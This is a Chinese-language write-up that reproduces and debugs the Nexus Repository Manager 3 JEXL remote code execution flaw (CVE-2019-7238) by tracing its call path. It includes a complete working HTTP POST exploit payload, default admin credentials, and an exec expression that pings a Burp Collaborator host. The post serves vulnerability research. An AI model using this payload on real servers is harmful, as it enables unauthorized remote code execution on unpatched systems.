Nexus Repository Manager 3 RCE(CVE-2019-7238)

Posted by caiqiqi on 2019-11-03

影响版本

Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本

环境搭建

下载
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

Nexus 2下载:
https://download.sonatype.com/nexus/professional-bundle/nexus-professional-2.14.13-01-bundle.tar.gz
安装参考:
https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager
在windows上安装成功了。需要执行

nexus.exe /run

默认密码:admin/admin123

payload:

POST /service/extdirect HTTP/1.1
Host: cqq.com:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}

关键文件通过github的diff找到了,但是没有深入分析,另外的搭建环境的坑是,这个漏洞需要有assets才能执行后续的jexl表达式。自己搭建环境的时候并没有assets,所以没有触发。在windows上搭建环境,并后台登录之后上传assets之后成功执行。
Mac使用docker搭建环境:
在这里插入图片描述
如果执行ping或者touch之类的,不会在log中输出,如果执行一个不存在的命令则会抛出异常:
https://pastebin.com/raw/tUFYC0yf
tips:以后可以通过这个来找到漏洞触发点或者调用流程。
Windows下:
在这里插入图片描述

复现参考:
https://www.anquanke.com/post/id/171116
https://xz.aliyun.com/t/4136

流程分析

环境搭建(启动jdwp,并在idea中进行远程调试)

在虚拟机中ubuntu-18.04-server搭建nexus运行环境,
在宿主机Mac上使用Idea与虚拟机通信。
第一步,修改nexus的配置:

vi nexus-3.14.0-04/bin/nexus.vmoptions

在默认配置的最后一行加上:
在这里插入图片描述

-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346

其中address=12346为指定的端口号
然后启动nexus

第二步,参考:https://stackify.com/java-remote-debugging/
去Github clone下Nexus-public源码
然后在Idea中设置如下:

Add New Configuration => Remote

在这里插入图片描述
然后修改服务器的IP和端口:
在这里插入图片描述
然后点击右上角绿色按钮,开启调试。
开启之后会建立连接:
在这里插入图片描述
第三步,使用burp构造请求。
在这里插入图片描述
把请求弄成json呈现,便于观看,可以知道,在filter的值是一个数组,数组的每个元素是一个字典,每个字典有键值对。property,value。

大致流程

首先入口是哪里,为什么是DelegatingFilter#doFilter。通过找配置文件,发现etc/jetty/jetty.xml配置文件中指定了

在这里插入图片描述
然后在nexus-web.xml中指定了任意请求对应的过滤器为:org.sonatype.nexus.bootstrap.osgi.DelegatingFilter
在这里插入图片描述
org/sonatype/nexus/coreui/ComponentComponent.groovy#previewAssets
在这里插入图片描述
只要

if (!expression || !type || !repositoryName) {
return null
}

中有一个为空,则返回null了。
进入org/sonatype/nexus/repository/security/RepositorySelector.fromSelector()
在这里插入图片描述
这里有

checkNotNull(selector);

可以发现selector也不能为null(这里是*),所以进入53行的new中。
在这里插入图片描述
由于我们指定了type为jexl,所以进入198行。

jexlExpressionValidator.validate(expression)

org/sonatype/nexus/selector/JexlExpressionValidator#validate
在这里插入图片描述
进入48行,即将expression传进去,new一个org/sonatype/nexus/selector/JexlSelector
在这里插入图片描述
由于expression不为空,isNullOrEmpty(expression)返回false,所以执行

Optional.of(threadLocalJexl.get().createExpression(CALLER_INFO, expression))

在这里插入图片描述
看这句吧:

threadLocalJexl.get().createExpression(CALLER_INFO, expression)

threadLocalJexl是一个new出来的ThreadLocal<JexlEngine>对象,而且重写了initialValue()方法。
在这里插入图片描述
initialValue()方法中,调用了静态变量jexlBuilder,~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/JexlBuilder#create,看看create()方法:
在这里插入图片描述
new了一个~/.m2/repository/org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine,构造器又不传参,没有仔细看,
以上就是

threadLocalJexl.get()

这句的结果,得到一个Engine对象,然后接着org/apache/commons/commons-jexl3/3.0/commons-jexl3-3.0.jar!/org/apache/commons/jexl3/internal/Engine#createExpression调用

threadLocalJexl.get().createExpression(CALLER_INFO, expression)

在这里插入图片描述
trimSource()看名字应该就只是清理了一下空格,然后payload从expression转移到了source。然后调用

ASTJexlScript tree = this.parse(info, source, (Scope)null, false, true);

这个洞当时感觉看的有点多了,今天博哥又认真调了一波,我收博哥鼓舞,又自己回家调试了一下,才按照那个调用栈跟到了下面这些:

7月18日更新

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true

调用这一句之后

Joiner.on(" AND ").join(clauses)

然后通过这一句,在xxx外面加上了“and (xxx)”
变成

and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)

在这里插入图片描述
在这里插入图片描述
一步一步,构造sql语句
在这里插入图片描述
在这里插入图片描述
拼接完之后
在这里插入图片描述
然后进入我们关键的

List<ODocument> results = db.command(new OCommandSQL(query)).execute(parameters);

这句
在这里插入图片描述
在这里插入图片描述
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandSQL#OCommandSQL(String iText)
然后执行其父类构造器
其父类只是判断了一下非空,然后trim了一下
在这里插入图片描述

以上是
new OCommandSQL(query)
然后db.command(new OCommandSQL(query))
也没啥东西,
关键是后面那句

db.command(new OCommandSQL(query)).execute(parameters)

parameters才是payload啊!
在execute中
在这里插入图片描述
在这里
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLSelect#execute
将com.orientechnologies.orient.core.command.OCommandContext中的key为jexlExpression的value设置为payload:

''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

在这里插入图片描述

在这里插入图片描述
然后是接着构造查询语句的其余部分
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
this.serialIterator(iTarget)中
在这里插入图片描述

进入这一行
在这里插入图片描述
com/orientechnologies/orientdb-core/2.2.36/orientdb-core-2.2.36.jar!/com/orientechnologies/orient/core/sql/OCommandExecutorSQLResultsetAbstract#filter中,前面没啥,看最后一句return语句
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

this.function.execute(iThis, iCurrentRecord, iCurrentResult, this.runtimeParameters, iContext);

其中this.function就是contentExpression()这个函数!!!
所以应该是这里判断,若没有仓库,则直接log.error然后返回false。
在这里插入图片描述
(所以如果没有仓库,就不可能有文件,因为文件是放到某个仓库下的,就直接返回false了)

在这里插入图片描述
又跟到了这里
org/sonatype/nexus/selector/JexlSelector#evaluate
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后就是枯燥的解析表达式了

''.class.forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

在这里插入图片描述

真的是跟的最深的一个漏洞!
弹计算器六个六个的弹,怀疑还有其他地方也触发了?或者是多线程的原因?
[外链图片转存失败(img-lwrD8blU-1563467646666)(https://xzfile.aliyuncs.com/media/upload/picture/20190719003339-cc30e410-a979-1.gif)]


其实没有跟完全,

DelegatingFilter#doFilter
filter.doFilter(request, response, chain);
//dispatch across the servlet pipeline, ensuring web.xml's filterchain is honored
filterPipeline.dispatch(servletRequest, servletResponse, filterChain);
ExtDirectServlet#doPost
DirectJNgineServlet#doPost
processRequest(request, response, type);
processor.processJsonRequest( request.getReader(), response.getWriter() );
new JsonRequestProcessor(this.registry, this.dispatcher, this.globalConfiguration).process(reader, writer);
JsonRequestProcessor#process
getIndividualJsonRequests( requestString ); #从请求中解析json字符串,然后构造出JsonObject
processIndividualRequestsInThisThread(requests); #由于不是json array,所以只需在本线程中处理这个请求
RegisteredStandardMethod method = getStandardMethod( actionName, methodName); #找到具体类的具体方法,即org.sonatype.nexus.coreui.ComponentComponent类的previewAssets方法
执行具体的方法,并传入参数

经过一顿invokeMethods之类的,
在这里插入图片描述

终于进入了ComponentComponent.groovypreviewAssets方法。
在这里插入图片描述
//略
发现执行不止一次,这就是为什么弹计算器的时候不止一个对话框。
在这里插入图片描述
最终调用JexlSelector的evaluate方法进行的代码执行
在这里插入图片描述

调试

最终得到的sql语句为:

SELECT count(*) FROM asset WHERE (bucket = #12:2 OR bucket = #12:4 OR bucket = #12:5 OR bucket = #12:1 OR bucket = #12:3 OR bucket = #12:0 OR bucket = #12:6 ) AND (contentExpression(@this, "\'\'.class.forName(\'java.lang.Runtime\').getRuntime().exec(\'ping lyn0iwkmtpogearpxjuxtqq9k0qqef.burpcollaborator.net\')", "*", {"nuget-group": ["nuget-group"], "maven-snapshots": ["maven-snapshots", "maven-public"], "maven-central": ["maven-central", "maven-public"], "nuget.org-proxy": ["nuget.org-proxy", "nuget-group"], "maven-releases": ["maven-releases", "maven-public"], "nuget-hosted": ["nuget-hosted", "nuget-group"], "maven-public": ["maven-public"]}) == true )

参考